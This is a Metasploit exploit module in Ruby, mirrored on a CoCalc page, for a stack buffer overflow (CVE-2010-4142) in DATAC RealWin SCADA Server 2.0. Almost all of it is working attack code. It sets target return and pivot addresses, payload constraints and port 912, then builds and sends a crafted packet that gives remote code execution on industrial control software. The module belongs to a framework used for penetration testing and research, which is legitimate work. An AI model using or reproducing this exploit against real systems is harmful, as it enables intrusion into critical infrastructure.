CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'DATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits a stack buffer overflow in DATAC Control
16
        International RealWin SCADA Server 2.0 (Build 6.1.8.10).
17
        By sending a specially crafted packet,
18
        an attacker may be able to execute arbitrary code.
19
      },
20
      'Author'         => [ 'Luigi Auriemma', 'MC' ],
21
      'License'        => MSF_LICENSE,
22
      'References'     =>
23
        [
24
          [ 'CVE', '2010-4142'],
25
          [ 'OSVDB', '68812'],
26
        ],
27
      'Privileged'     => true,
28
      'DefaultOptions' =>
29
        {
30
          'EXITFUNC' => 'thread',
31
        },
32
      'Payload'        =>
33
        {
34
          'Space'    => 550,
35
          'BadChars' => "\x00\x20\x0a\x0d",
36
          'StackAdjustment' => -3500,
37
        },
38
      'Platform'       => 'win',
39
      'Targets'        =>
40
        [
41
          [ 'Universal', { 'Pivot' => 0x40017fc2, 'Ret' => 0x4001f6d0 } ],
42
        ],
43
      'DefaultTarget' => 0,
44
      'DisclosureDate' => '2010-11-18'))
45

46
    register_options([Opt::RPORT(912)])
47
  end
48

49
  def exploit
50

51
    connect
52

53
    data =  [0x6a541264].pack('V')
54
    data << [0x00000010].pack('V')
55
    data << [0x00001ff4].pack('V')
56
    data << rand_text_alpha_upper(164)
57
    data << [target['Pivot']].pack('V')
58
    data << rand_text_alpha_upper(16)
59
    data << [target.ret].pack('V')
60
    data << payload.encoded
61
    data << rand_text_alpha_upper(10024 - payload.encoded.length)
62

63
    print_status("Trying target #{target.name}...")
64
    sock.put(data)
65

66
    handler
67
    disconnect
68

69
  end
70
end
71

72